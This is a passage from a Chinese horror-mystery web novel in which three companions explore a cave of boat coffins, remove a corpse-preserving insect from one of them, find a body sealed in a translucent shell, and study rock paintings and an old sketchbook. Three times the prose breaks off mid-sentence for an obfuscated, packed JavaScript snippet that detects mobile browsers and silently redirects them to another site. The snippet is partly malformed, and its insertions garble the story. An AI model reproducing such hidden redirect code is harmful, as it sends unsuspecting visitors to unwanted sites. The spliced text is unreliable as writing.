“你怎么在这?你这样会被他们发现的!” “我等你很久了。” “供桌下的字条是你留的?” 阿南刻回头,脸上的笑容逐渐消失:“不是,是一位记者留下的,她叫于君琳。” 屠南神经紧绷,阿南刻的声音已经停止,但她的嘴还在动,她仔细盯着她干裂的嘴唇,好像在说“救我”。 “小于……” 她的目光从阿南刻的嘴唇上移开,落在她的整张脸上,原本白皙圆润的鹅蛋脸变成了一张坚毅有棱角的方形脸。 而“小于”两个字正以惊人的速度填满她的脑袋。 “她……为什么会来石船村?” “她在调查、追踪报道一起尸骨倒卖案。” “倒卖尸体?” “对,多年前她在调查太奥生物材料公司非法购买遗体、残肢用于生产植入性材料时发现了另一个尸骨购买方,这背后可能存在一个未知的、更加危险的利益链条。” “这个买方在石船村?” “和石船村有着密切联系。” 屠南头痛欲裂,用力按压太阳穴也无法缓解。 “她……被抓走了,她……被……献祭。” 她感觉有什么东西在拼命撬开她的大脑,钻进她的回忆,主宰这副虚弱破碎的身体。 不知何时,她的眼前出现了一面照片墙,墙上贴着大大小小的照片、剪报、新闻网页截图、聊天对话框和邮件截图,图片与文字之间被彩色的毛线缠成了一团乱麻。 而她瑟缩在黑暗小房间的一隅,将头埋在膝头,口中喊着:快跑! 她用了很大力气,嗓子因声嘶力竭而感到压迫和瘙痒,但声音似乎都被水吃了进去,闷闷的,仅限于她自己的范围可以听到,并伴有没有规律的耳鸣。 也许是缺氧太久,屠南感觉眼前出现了幻觉,那个在二仙庙里端坐的女仙居然出现在了水里,她的脸一半是瓷的,一半堆砌着腐烂的肉块脏器和黏腻的肿泡。肿泡之下,令人作呕的肉液不断流下…… “阿南刻,救我!”她终于清楚听到了自己的声音。 但阿南刻的身体正在慢慢变淡:“屠南,醒来吧……” “屠南!屠南!” 屠南抹了把脸上的水,周筱安和余一舟正趴在岸上叫她。 而她正站在暗河中,浑身上下没有一个干燥的地方。 她快速爬上岸,看着余一舟递来的纸巾,抽了一张,道了声谢。 “屠屠,你刚才在叫谁?”周筱安问。 “没什么,你听错了。”屠南擦干了脸上的水。 她好像明白了,阿南刻只是她脑海中的幻象,是她没治好的病。就在刚才她感觉自己好像痊愈了,她记起了许多过去的事,不过对于上大学之前的事她还是一片空白的状态。 “二仙庙供桌下面的字条应该是一个湖城商报的记者留下的,石船村跟一起尸体倒卖案有关。” “尸体倒卖案!”余一舟顿了顿,“我师父当年就是因为那个案子离开警队的。” “什么情况?快说来听听。”信息量过大,周筱安睁大了眼睛,怕错过什么。 余一舟似乎不愿意多说:“能是什么情况,失误了、犯错了,所以离开了。” 屠南:“李春梅很有可能重蹈记者的覆辙。” 余一舟:“那怎么办?” 屠南:“先想办法出去!” 余一舟点头。 周筱安一头雾水:“不是,什么覆辙?那个记者怎么了?” 屠南脸色苍白:“被献祭,在夏节庆典上。” 周筱安已经是第N次听到夏节庆典了,但这到底是个什么活动,他还一无所知。 “刚才听你们说什么夏节庆典、天湖、太阴之水都是什么意思?” “夏节庆典是石船村的一个祭祀活动,其他两个我也不知道。”屠南回答。 余一舟看着周筱安转向自己的头:“看我干嘛,她都不知道,我就更不可能知道了。” 关于湖城的那个案子,他也是意外得知的,他师父从没跟他说起过。 周筱安叹气:“那谁有可能知道,我们也好去请教一下?” “张洪涛。” 根据屠南的猜测,张洪涛一定是破解了天湖和太阴之水的秘密,才因为某种原因精神失常的。 只不过目前是没什么机会能问到他本人了。 周筱安沉默了一会,开口道:“还是先想办法让屠屠把衣服晾干吧,这里温度低,身体若是进了寒气……” 余一舟以为他能说出什么高论,又是没用的废话。 “没事,我的裤子和鞋都是速干的。”屠南拍了拍衣裤,全身冰冰凉。 “可你的衣服……” 屠南用手攥了攥身上的衬衫,拧出了不少水。 余一舟看了眼周围的环境,别说木柴,木头渣都不好找,他脱下了短袖外面的运动外套,有些别扭地递给了屠南:“要不你先把这个外套套上,我去那个二仙庙下面找找,看有没有能烧的木头。” “用不着这么麻烦……”周筱安把余一舟的外套拿在了自己手里,又把自己的连帽卫衣脱下来递给屠南。 “屠屠穿我这件吧,今早刚换的,我还没穿多久呢。钱眼子的衣服我来穿吧,省得他回家还得跪搓衣板。” 屠南犹豫了一会,伸手接过周筱安递来的衣服,一会预计还有更多的困难在等着她,她必须要先保重身体:“多谢,那我去换个衣服,麻烦你们先等我一下。” 周筱安比了个OK的手势,看向只穿了一件短袖一脸幽怨的余一舟:“屠屠回来了,那我们就准备出发了,你注意安全,小老板应该不是坏人,不过你也多加小心,这个村子古怪的很。我房间的包里有很多衣服,你随便穿,这会就委屈你受一下冻啦……” 余一舟第一次见比他奶奶还能唠叨的人。 ****** 手机的前置闪光灯在溶洞里的作用可以忽略不计,周筱安还是打开了屠南留下的户外手电。 屠南离开了将近十分钟。 “屠屠应该不会有事吧?” 余一舟哦了声,从这个女人目前展现的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821831|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战斗力来看,他们应该轮流祈祷她不会有事。 担心屠南又发生刚才那种精神不太稳定的情况,周筱安决定去找找看,余一舟打算确认他们平安再回去。 周筱安拿着手电在前面喊屠南的名字,他就跟在后面。 在手电光下,眼前天然形成的钟乳石柱变得愈发清晰,清晰得令他白日做梦。想象着这要是个景区,还能让他来收费,他高低得给每个大石柱子解释出个子丑寅卯来。比如刚才经过的那根一整条连到洞顶的可以叫巨龙擎天或者白虹贯日。周筱安屁股后面那个像一只站立的大猫、粗一点短一点的就叫黑虎掏心。 还有头顶这个像是什么黏糊糊的液体流下来在半空凝固的,就叫雨打芭蕉。 周筱安没这种雅致,甚至十分焦虑。他沿着小河逆流而上,快速爬上一个小坡。小坡上是一片相对平坦的空地,像个小广场,堆放了很多箱子。 余一舟穿的是板鞋,鞋底硬且滑,爬这个石坡着实费了些力气。 “这怎么又堆了这么多箱子……” 周筱安说着打开了一只没上锁的小木箱,里面放着一只木刻娃娃还有一些年代久远的《三国演义》小画书。 木刻娃娃的刀工粗糙,有一双用黑色墨水画的圆溜溜的眼睛,和一张红色颜料描的血红大嘴。 娃娃和小画书下面铺了一层干草。 余一舟指着干草:“这是什么?还挺香的。” “七里香。” “七里香?” “对,也叫芸香草,可以防蛀。” 余一舟哼着《七里香》拿起一簇干草,放在鼻子下面闻了闻,才发现自己从什么时候开始这么相信周筱安说的话了,又把干草扔了回去。 周筱安拍开他的手:“注意素质!” 乱开别人箱子的人居然叫他注意素质,余一舟哼了一声,准备回击,突然被一个未知的声音吸引。 “你有没有听到什么声音?” 周筱安收回摸向旁边大木箱的手:“什么声音?小孩的笑声?” “不是,是什么东西在……” 余一舟扭动手臂,那是一种黏腻……无法形容的声音,他只能大概通过姿势表达发声体的状态。 似乎是被水流的声音掩盖了一部分,周筱安看他扭了半天才感受到他说的那种声音。 “好像是从那个箱子里发出的。” 两人壮着胆向声音的源头靠近,那是一只极大的箱子,卡在两根钟乳石柱之间。 当手电光聚焦过去,他们发现那不是箱子,而是在李学昌家看到的船。只不过这条船有盖,被封住了。而且木头成色发深,应该是有年头了。 屠南刚才向李萍求证过这玩意是船棺,如果这是船棺,那这溶洞算什么,坟场? 两人都害怕的要命,但为了掩饰,都在硬撑着默默寻找线索。 手电筒在周筱安手里,余一舟只能打开手机电筒。 心不在焉地扫了一遍船头,发现一处刻痕,又是那个熟悉的符号,太阴。 余一舟的手被突然在他身后说话的周筱安吓得一抖。 “太阴是月亮,那这就是月亮船?” “走路能不能出点声,吓死人了。” 他话音刚落,船棺里再次发出响动,像是开关漏电,又像蛇在吐信子。 周筱安不知死活地上手敲了敲。 船棺里面的东西居然做出了同样的回应,发出了三声沉闷的敲击声。 在和周筱安确定那声音不是回声后,余一舟如堕冰窟,周身恶寒,甚至丧失了呼救的能力。好在人年轻,括约肌功能尚好,才忍住了那汹涌的尿意。 “棺材……棺材在动!”他强迫自己迈出一小步,然后连滚带爬地退到几米之外。 周筱安的脸色也不好看,他求助地看向未知的黑暗中,寄希望于屠南会突然出现,并清楚眼前的情况。 只是在不经意瞥了余一舟一眼后,他的注意力发生了根本的转变。 “钱眼子,听我说,你别动……别动!” 17. 琥珀 屠南的背包被他们带在身边,周筱安慌乱地从里面翻出一只羊角锤和一只矿泉水瓶,一步一步朝余一舟逼近。 余一舟好像看到了闪灵里拿着斧头乱劈的发疯男主。 “你冷静点,你要干嘛……你到底是谁!我就知道你来这一定有其他目的……” 余一舟在那块空地的边缘停下来,后面是斜坡,不能再退了。 “你胡说什么?我这么善良的人怎么会伤害你,我是在帮你!” 周筱安刚说完,就听到了脚步声。 “怎么了?” 是屠南。 “他要袭击……我的脖子”余一舟指向周筱安的手突然摸向了自己的脖子。 “别碰!” 屠南被周筱安的吼声吓了一跳,登时注意到一团比拇指粗一些的黑色“混沌”正在贴着余一舟的脖子向他的后背处移动。 “你脖子上有个虫,可能有毒,千万别用手碰!” 根据储藏间找到的那本笔记本上的描述,这东西叫尸蠋,是专门给尸体防腐的,按理说它只咬死人…… 屠南迅速来到余一舟背后,那虫子果然对余一舟下了口。 “把手拿开。”她在余一舟那只试图触碰伤口的手背上拍了两下,接着找了只大木箱让余一舟坐下,又把手电调成营地灯模式,让周筱安举过头顶。 “手术灯”下,通体发黑、腹部长满白色硬毛的虫子恢复蠕动,继续向余一舟的肉里钻。 “这虫能不能活捉?”周筱安弱弱问了句。 “做什么?”屠南停下手上的动作问他。 周筱安有些心虚:“很多虫子都是可以入药的,拿回去研究研究。” “哦,不行。” 倒不是因为别的原因,如果不及时把这只虫子灭了,它会继续在余一舟身上“缝衣服”。只要给它足够长的时间,它就能把余一舟变成一个人形琥珀。 “帮我按住他。” 屠南从背包里拿出一个和笔差不多长、差不多粗的圆筒,里面装了一根粗针,那是她闲来无事和养老院的护工大姐们一起勾围巾用的。 余一舟被她这架势吓坏了:“你要干啥?你这是无证行医!” 说时迟那时快,屠南手起针落,黑虫瞬间爆出奶白色浆汁,随之爆发的还有一种令人作呕的尸腐之气,像是人死了很久的腐烂味道。 “戏过了,我扎的虫……”屠南屏住呼吸,对哀嚎不止的余一舟说道。 周筱安丢下手电,跑去一旁干呕。 余一舟没了束缚,伸手就要去摸脖子上的伤口。 “别动,虫子还没死透。”屠南皱眉。 他恢复理智,停下动作:“我懂,百足之虫死而不僵。” 他虽然不爱户外,但玩手机的时候也刷到过一些类似被草蜱子咬了后怎么处理的科普视频,如果硬拉硬拽,虫子的口器断在身体里,会引发感染,严重是要死人的。 “是不是得喷点酒精,先给它灌醉,等看它不动了,趁其不备……” 屠南心猿意马,嘴上答应着哦,手上快速拔出虫子,把干瘪的虫尸放在余一舟肩膀上,开始研究他脖子下方的伤口。 虫子被拔出来的位置,正如笔记中记载的那样,有小指指甲盖大小的一片皮肤已经变硬,像是被封了一层晶莹剔透的蜡,硬邦邦的…… 周筱安干呕半天,没吐出什么实质性内容,回来继续帮忙。 “大哥,这味道你是一点没闻到吗?” 他说着在余一舟肩上拍了一下,这货居然毫无反应。 周筱安还想再用力一点拍他,被屠南制止了。 “一会帮我按住他,这次我不说停,不要松手。” 周筱安忙不迭地点头。 余一舟闻声看去,周筱安拿起一个扁平的、半根食指大小的干片片放在手电下观察。 屠南则在她那个什么都有的包里翻找,拿出一只急救包,几根一次性的碘伏棉签,一小瓶医用酒精,和一把从阿秋那没收来的匕首。 “不用刀,喷了酒精,用镊子就行……” 余一舟说话时意识到自己的上半身,尤其是肩膀附近麻木得厉害,几乎失去了知觉。周筱安抓他的胳膊时,他甚至毫无反抗之力。 手电光再次在他头顶升起,把气氛烘托的像是末日审判。他感觉到一丝灼热,但并不十分强烈。 这种隐隐的灼热在屠南说“好了”的那一瞬间彻底消失,取而代之的是小刀剜肉的钻心疼痛。 惨叫声持续了几分钟,他才勉强冷静:“你们对我做了什么?” “还好发现及时,只有这么一小块。”屠南把粘着余一舟身体组织的透明块状物放在余一舟手里。传递时,指尖还滴下几滴被冲淡的血水在他的掌心。 那东西本身沾满血,被屠南拿矿泉水冲了冲,像是一块指甲盖大小的碎玻璃粘着肉皮。余一舟如果反应过来是自己的皮肉,大概不会这么冷静地仔细观察。 “卧槽,你的肉还会动!”周筱安抓住余一舟的手腕,确保那东西不是因为他手抖而不停活动。 “我的肉?”余一舟看了看屠南,差点把自己的肉扔出去。 好在屠南及时接住,用纸巾包起来,放进口袋。 “放心,已经给你做过止血消毒处理了。” 周筱安补充:“对,你别乱动,不利于伤口恢复……不过,就算你伤口开裂也没关系,我这还有止血药粉,我家药堂的。 余一舟咬紧牙关,劝两人嘴下留德。 “你别担心,你可以把那块肉理解为虫子从你身上咬下来的。” 屠南果真最会安慰人,余一舟陡然明白,那虫子居然如此凶残。 “虫子咬的!怎么会有层透明的硬膜,而且我的肉还会动?” “是啊,我亲眼看到那小块皮肉自己在动。”周筱安附和。 “你俩眼花了……” 屠南不会说谎,一说谎就像犯罪心理学课上的说谎典型案例,摸鼻子、耸肩,眼睛朝右上方狂看。 “……” 屠南掏出手机,对着屏幕毫无感情地念道:“这个虫,类蚕,但不完全是蚕,全名叫尸蠋。” “什么石竹?哪两个字?” 屠南把手机递给周筱安,让他自己看。 是那本被刘虎刘豹抢走的笔记的照片! 看着周筱安欣喜的脸逐渐变白,余一舟试图抢来手机自己看,被周筱安一把按在他没受伤的左肩上。 “你别动,我给你念就行。” “尸蠋。”周筱安念完前两个字就哑火了。 “继续啊,哪个湿?哪个竹?什么意思?” 周筱安闪烁其词:“尸就是尸,蠋就是虫子旁,加一个蜀,四川那个蜀。” “这虫子吧,和蚕差不多,就是做寿衣的……” “……” 这人分个高低贵贱就罢了,蚕还能分三六九等? 有的做富人穿的时装,有的只能做死人穿的寿衣?余一舟越想越不对,岂有此理! “那个笔记上究竟是怎么写的,别自由发挥,一字一句地念,你要不会念,给我,我自己看。” 周筱安征得屠南的同意,把手机递给了余一舟。 手机屏上的照片拍得是笔记本上的一页,可以看出拍摄者技术一般,手不太稳,画面有点糊,不过整体还是看得清的。而关于尸蠋的描写被记录在一张淡蓝色便签纸上,一看就是后来粘上去的。 【尸蠋,待人死后,附于尸体表层,将吐出的丝与人肉织在一起,形成独一无二的“金缕衣”,可保尸身不腐。】 周筱安说的寿衣,就是笔记上说的金缕衣。 “这是张洪涛的字!”余一舟说得十分自信,张洪涛的字瘦长有力,每一笔竖都会勾上去…… 周筱安满脸问号,他就只看出了这些? 余一舟后知后觉,撂下一句“尸身不腐”,两腿一软,晕了过去。 ****** 晕倒的人和醉酒的人一样,都很重。 周筱安在屠南的帮助下,把余一舟放在了用几个大木箱临时拼出的“床上”。 看他生命体征平稳,屠南松了口气,问道:“你刚才有没有看到那只虫是从哪爬出来的?” 周筱安回忆,在那之前,他们正在检查这里的木箱,还有船棺。 说到船棺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821832|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他感觉自己的屁股有一丝凉,他居然没发觉自己一直靠在船棺上! “靠!” “这里面……刚才,发出了声音,这个船棺里。” 他语无伦次地说完,以为还需要再解释一遍,没想到屠南立刻会意。 “什么声音?” “刚开始像漏电,后来我拍了它几下,里面就回应了几下。” “会不会是野猫被关在里面了。”他自己还补充了一句。 屠南摇头,如果是野猫,最应该听到的不是漏电声,而是猫叫,听他的描述,更像是蛇,或者是…… “那些大木箱,你看过了吗?” 周筱安搞不懂屠南想到了什么,迷惑地摇头。 屠南迫不及待的掀开了一只没被余一舟躺在身下的大木箱,里面全是蚕山! 经历了刚才的一切,周筱安改口道:“尸蠋山。” 他粗略数了一下,一个箱子大约有30个扫把头,按那个黑色臭虫的体格,一个扫把头里如果能住10只。那30只扫把头就是300只尸蠋。 这地上起码躺着六七只箱子,也就是说有上千只尸蠋潜藏在这附近。 他们只碰到了一只,其他虫子在哪? 屠南看向船棺:“也许天湖和太阴之水的秘密就在这。” 她拿起被扔在地上的羊角锤,对着船棺上的棺钉比划了一下,又改换成了撬棍。 “你要做什么?”周筱安抱着羊角锤,跟在她身后。 “起钉子。” “……这是船棺。” “嗯,现在是几点?” “快两点了,李萍发过微信催我们回去吃饭,我说在附近玩,要过一会才回去,不过……” 不过,李萍相不相信他就不得而知了,说不定用不了多久,村里人就会发现他们的行踪。 “来不及了……”屠南着急地把木箱里的蚕山倒出来,还让周筱安和他一起,把这些木箱里的蚕山铺在船棺周围。 为了拿出箱子,并保证余一舟的安全,周筱安只能费力把他移到别处。 等他回来时,屠南已经撬开了五颗棺钉,还剩最后二颗。 “所以你觉得这些尸蠋都躲在船棺里?” 屠南嗯了一声,继续使劲。 尽管船棺周围已经布下一张密不透风的“扫把头网”,仅给屠南留下一个细窄的出口,周筱安心里还是不太踏实:“屠屠,这虫会好好呆在蚕山上吗?不会直接越过扫把头,爬到我们身上吧……” “不会,它们已经吃饱了。”屠南语气笃定。 然后一气呵成,拔下了最后两颗,随即把踩在船棺盖上的脚放下来。 棺盖被一股虫浪顶开,露出巨大的缝隙。一个个脑满肠肥、油光水亮的黑虫蠕动着,像一条黑色活流,从船棺里一涌而出,又在光的指引下爬进地上的蚕山。 等虫子差不多爬进了蚕山,屠南走到船棺前,印证了内心的猜测,船棺里的人果然是张洪涛。 此时,张洪涛像一只人形琥珀,整个身体都被一层透明硬壳包裹。曾经白净的皮肤被涂得惨白,还有略显生硬的眉毛和嘴唇,看得出是在殡仪馆化了妆,并对头部进行了一些修补和美容。 他很有可能就是在被火化前被秘密转移到这的。 屠南弯腰捡起一只扫把头,里面的木架上至少爬了七八只尸蠋,大概是吃饱了,白色毛刺也软了下来,不再根根分明,充满敌意。 “能帮个忙吗?” 屠南使唤着周少爷把地上的蚕山都收进木箱,避免它们再出来害人。 周筱安刚开始根本下不去手,但看着屠南淡定的样子,也不好表现的过于柔弱。 “屠屠,你胆子真大,你……就不会害怕吗?小时候没看过山村老尸?” “没。” “那你还真是没童年。” “童年啊……确实没印象了。” 屠南说得很真诚,但天一旦被聊死就不能复生,两个人一言不发地捡完了蚕山。 重钉船棺盖时,屠南说出了下一步计划:“我刚去换衣服,发现那边大概再往前走一段有光,估计前面有洞口,不过可能会有危险……” 18. 雲木天王 余一舟醒来时,正屁股朝天趴在一块岩石上。 岩石贴着石壁,透过雾气可以看出,石壁极高,直通云霄。 他躺的位置在巨坑底部,周围是一望无际的绿树碧草,不过那种草不是城市里绿化带里中规中矩的草和树,是长在鲜有人迹的野外中,横行霸道、扭曲锋利的草和树…… 这不是大马路,是盘陀天坑。 坑底的温度有点低,余一舟坐起身,把盖在他身上的运动外套穿好。 他隐约记得自己被吃尸肉的虫子咬下一口肉,头晕的厉害,之后就没印象了。 周筱安靠在他身下的巨石后面,听到他醒了,像是十年没跟人说过话似的,喋喋不休。 “你终于醒了,屠屠去找路了,你抓紧恢复一下,一会好和我们一起走……” “对了,你知道吗,刚才我们在溶洞里找到了张洪涛,就在那个船棺里,他全身都被尸蠋咬了,皮肤上有层透明的硬壳,和你们北方的冰糖葫芦很像,太惨了……” “张洪涛?冰糖葫芦!” 余一舟猛然想起,第一次和李春梅见面时,她还说过什么“尸骨未寒”的话。 那时张建平就反驳,说儿子已经入土为安。现在看来很有可能是李春梅背着家人把张洪涛送到了这…… 可是她把张洪涛变成这样能有什么用?总不能和学府名城的房子一样,是为了留念吧。 余一舟没想通其中的道理,屠南已经探路回来。 一个好消息,一个坏消息。 坏消息是坑底没有能直接上去的路,半山腰的岩壁上倒是有段栈桥,但也是从山腰上的岩洞里延伸出来的,他们根本上不去,也不知道入口在哪。 好消息是那边有个不太高的岩洞,岩洞口放了绳梯下来,屠南还在附近找到了一张被揉成一团的手绘地图…… “那会不会是刘虎刘豹寻宝时留下的。”周筱安问。 余一舟:“也有可能是诱捕。” 周筱安:“诱捕什么?” 余一舟:“单纯的笨蛋。” “你还是不说话的时候比较可爱。” 余一舟第一次听同性说自己可爱,恶心地差点吐出来。 周筱安从屠南手中接过那张图,从图上来看,他们只要能找到一个石子斜坡应该就可以出去,而石子斜坡的另一端就是那个有绳梯的洞口! ****** 岩洞距离他们休整的地方不太远,如果没有余一舟这个伤员,大概也就几分钟脚程。 穿过密林,真看到那片岩壁,两人都傻了眼。 屠南只说岩壁上有个洞,没说那洞两边还有密密麻麻的船棺。 他们面前的这些船棺,不是用嵌入石壁的木头固定在崖壁上的,而是一大半藏在山体中开凿好的洞里,一小半漏在外面。这些船棺大概在离地面十几到三十几米的高度分散排列。 乍一看,山壁好像一片汪洋,将无数载魂之舟裹挟其中,又被天斧劈开,凝固成了一个截面。 据余一舟所知,崖葬并不是石船村独有,附近的土家人寨子也有类似的墓葬传统,他们管这个叫仙人洞。 传说寨子里曾有老人,想返老还童就去峭壁上的仙人洞呆几天,脱掉一层皮后,就会变回年轻时的样子。 “所以,就按这条路线走?” 屠南用手挽住绳梯,拉了拉,看样子还挺牢固。 周筱安点头:“开弓没有回头箭。” “好,那就老样子,我先上去看看。” 看屠南上去的挺轻松,余一舟自告奋勇,做第二个吃螃蟹的人。 周筱安鼓励他:“钱眼子,你就放心去吧,这又没人看着,姿势丑也不丢脸。” 余一舟翻了个白眼,抓住了绳索。 他自知没有大长腿,就一步一步地迈。既然有点恐高,就尽量不向脚下看。 只不过每爬一步,伤口被牵扯一下,爬到中途,他就已经眼冒金星了。 趁原地休息的功夫,朝两边看了眼,不看不知道,一看吓一跳,密密麻麻的船棺,有的还没有棺盖。 “余一舟,集中注意力。” 他抬起头,是屠南在叫他。 他答应了一声,强迫自己把头转回来,不去注意那些。转移视线时,他感受到一束目光,不是来自脚下,也不是来自头顶,而是在他平行的右手边,某个船棺。 他的大臂不停颤抖,那是一双眼睛,一双人类的眼睛,冰冷,会动。 他强迫自己冷静:“屠南,你说船棺里可能有活人吗?” 屠南愣了一下,似乎明白了他的意思:“相信你所相信的,就会看到你所看到的。” 这也是石船村的生存指南。不要试图改变这里,只能努力让自己不被这里改变。 “我相信,相信……”他又努力爬了几步,那双眼睛一跃而出,在周筱安的尖叫声中飞走了。 “刚才那蝙蝠是不是变异了,那么大,还有股海鲜味……”周筱安捂着鼻子冲他们喊道。 ****** 周筱安刚爬进岩洞,就被旁边的血红色岩画吸引。 那应该是用赤铁矿粉制成的红色颜料作的,从洞口一直延伸到洞穴深处。 “这难道是另一半祭洞?” 屠南讲过,盘陀天坑里有个画满岩画的洞穴被地壳运动彻底分成两半,一半在比较显眼的位置,一半深埋在天坑中,成了采宝家族藏宝的地方。 可转念一想,这洞口,大喇喇横在一众悬棺中,哪里隐蔽了? 他看向屠南,她正看着岩画一筹莫展。 屠南沉默良久:“这两个人极有可能是巫觋(音同席)。” 古人称女巫为巫,男巫为觋,这里看不出男女就统称为巫觋。 被她称作巫觋的两人就在第一片岩画的中下方,呈对阵之势。 左边小人直立在一只独木舟上,身后有一只四脚兽。 右边小人双臂向两侧平伸,双腿微微岔开,脚踩一只大蟹。 两个小人背后都有船,右边小人身后是无数独木舟,舟上站着人。左边小人身后似乎是一艘巨船。 巨船最高处,站着一个大人和很多小人。这里画的略显诡异,不确定是画风太过狂野,还是颜料掉色,这些人不是少条胳膊,就是少条腿,更有甚者少个脑袋…… 周筱安看到大蟹很激动:“那段傩戏念白里,女巫尸体掉入水中化为蟹,这里也有只蟹!” 屠南:“也许这里画蟹是为了指代女巫。” 可能是看惯了颜料的颜色,余一舟的脑子这会清醒了一些:“其实我在最初听到这个传说时就有这个疑问,那个时代能造出这么大的船吗?” 他也想过用诺亚方舟来证明这种极端情况存在的可能,不过用神话来解释未知,似乎难以自洽。 屠南:“也许是一块形似大船的巨石?” 余一舟:“鱼公引船,如果是巨石,怎么可能引得动……” 可不是石,哪来的石船、石船村? 屠南想了想:”我们可以先假设这些基本条件都存在。单从岩画来说,鱼公引船……那么站在船头的大人很有可能就是鱼公。” 周筱安补充:“那船上那些肢体残缺的人会不会是为了救水受伤的人?那个时代绘画技术有限,受伤不好画,就用这种形式代替。” 屠南没肯定也没否定:“仅看这一处可能难以下结论,我们可以跟旁边这一处对比一下。” 这岩画居然像连环画似的,一片一片的。三人又往洞里走了几步,是第二片岩画。 这一幕中,女巫不见了,水中只剩大蟹。与她对阵的巫觋依旧站在小舟上,但身后的四脚兽也不见了。 更多小舟围在巨船之下,船边有鱼跃起。 周筱安再次想到傩戏中的词:“夫女扬灵,佳鱼琳琅。” 可按照戏词,女巫显灵,给这里带来丰富的鱼产是在鱼公引船之前。先有鱼,后有争斗,然后天降洪水,才有了鱼公引船,这里似乎有些矛盾。 三人再次向洞内移动了几步,视线落在第三处岩画上。 这是一个战斗场景,两方刀兵相见,画面中出现了剑刀戈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821833|158733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矛一类的兵器,还有鼓。巨船上的伤者都不见了,巨船下有无数小舟,舟上应战的小人与对战的小人相比,头的比例很不协调,而且都长着类似犄角的东西…… 周筱安:“会不会是傩面?” 屠南:“有可能,可他们为什么要带着傩面与对手交战……” 暂时无法解释,只能继续。 第四幕,敌方的小舟多数已空,似乎是暗示对手损失惨重,巨船上又多了许多缺胳膊少腿的“伤员”。 在巨船与敌方的船阵之间,有一条巨蛇,蛇头朝向巨船,口中还吐着信子。 屠南把手电光拉近几分,可以看到蛇头上还驮着一个小人,应该是之前的巫觋。 余一舟分析道:“巫觋之前都是和修鱼子一边的,这幅图上二人对阵,会不会是反目成仇了?” 周筱安挠头:“巫觋的大蛇是从哪里来的……” 屠南思考了一下:“巴蛇吞象。” 巴蛇吞象就是后世常说的“人心不足蛇吞象”的由来,它的出处是《山海经》,说的就是这巴地曾有一条大蛇,吞下了一头象,三年才消化完,吐出了象骨。 修鱼子和巴蛇之间又有什么渊源? 三人习惯性左移,发现旁边的岩画似乎是被火烧毁了,一片碳黑。 事出反常必有妖,也许被烧毁的岩画上藏有更加重要的秘密。 三人用手机拍了几张岩画的照片,继续向洞道里面行进。 洞道两边干净得异常,完全没有小动物、蝙蝠屎一类的痕迹。 走了大概十几米,在下一个洞口附近,余一舟险些被一堆东西绊倒。 仔细看,是一把军刺,一盏马灯,和一本速写本。 “这会是什么人留下的?”屠南自顾自说道。 军刺尚未锈坏,刀柄上还有金陵兵工厂的万字标,马灯的玻璃风罩碎了一半,速写本的皮面还有纸张似乎是被什么液体泡过,皱巴巴的,在灯光下,能看到一层光亮的膜。 余一舟拿起军刺,从鞘中拔出,绕圈看了一遍:“中正式军刺,战争时期的东西。” 周筱安在马灯没碎的那部分风罩上看到亚利洋行和MADE IN GERMANY的凸起字样。 “这德国东西还挺耐用,看起来是上个世纪的,居然没锈……” 余一舟:“我这把国产军刺也是!” 周筱安:“这里的气候,好像不太对吧……” 石船村地处西南,气候潮湿,别说铁器了,就是开袋的薯片没保存好,第二天也会受潮变软,跟馒头皮一样。 屠南没加入他们的讨论,默默翻着速写本,神色凝重。 二人见状凑了过去,速写本第一页画的是一个建筑,传统的中式宅院,户门紧闭,门外树丛茂密。 往后的几页,是各种人体素描,但画的并非完整的人体。如果说断臂维纳斯是一种残缺美的艺术表现形式,那本子上的图大多只画了维纳斯的断臂。还有的只画了一只手,或者一条腿的其中一节。 这种画人体躯干体块的图足有十多张,看得人生理不适。 在那之后就是几张肖像,有男有女,其中一张女性肖像竟和屠南神似。 周筱安拿过速写本,对着屠南的脸比了比:“屠屠,你和这张画撞脸了!” 当然,世界这么大,撞个脸也正常。 只是屠南的反应有些奇怪,她一把从他手里夺回速写本,默不作声地往后翻页。 几幅人物肖像之后尽是些空白纸页,顺着翻下去,直到最后,才看到几个字。 那一页被人撕掉了一半。 余下的半张纸,紧挨着锯齿状边缘,有用炭笔写下的四个字——雲木天王。 雲木二字并列在上,天王二字并列在下。其中,木和王字明显比雲和天字窄,看起来像偏旁部首,字的右半边估计就在被撕掉的半张纸上。 周筱安咂舌:“雲木天王……有这个天王吗?” 余一舟摇头:“不知道,我只听说过托塔李天王……雲字和木字旁的什么字组合在一起是个词?” 19. 影子 “什么?好不容易上来,你现在要原路返回。”周筱安激动地看着余一舟。 余一舟指着地上的军刺、马灯还有速写本:“你就不觉得这里少了什么?” 周筱安:“少了什么!” 屠南:“少了个人。” 准确说,是一具尸体。 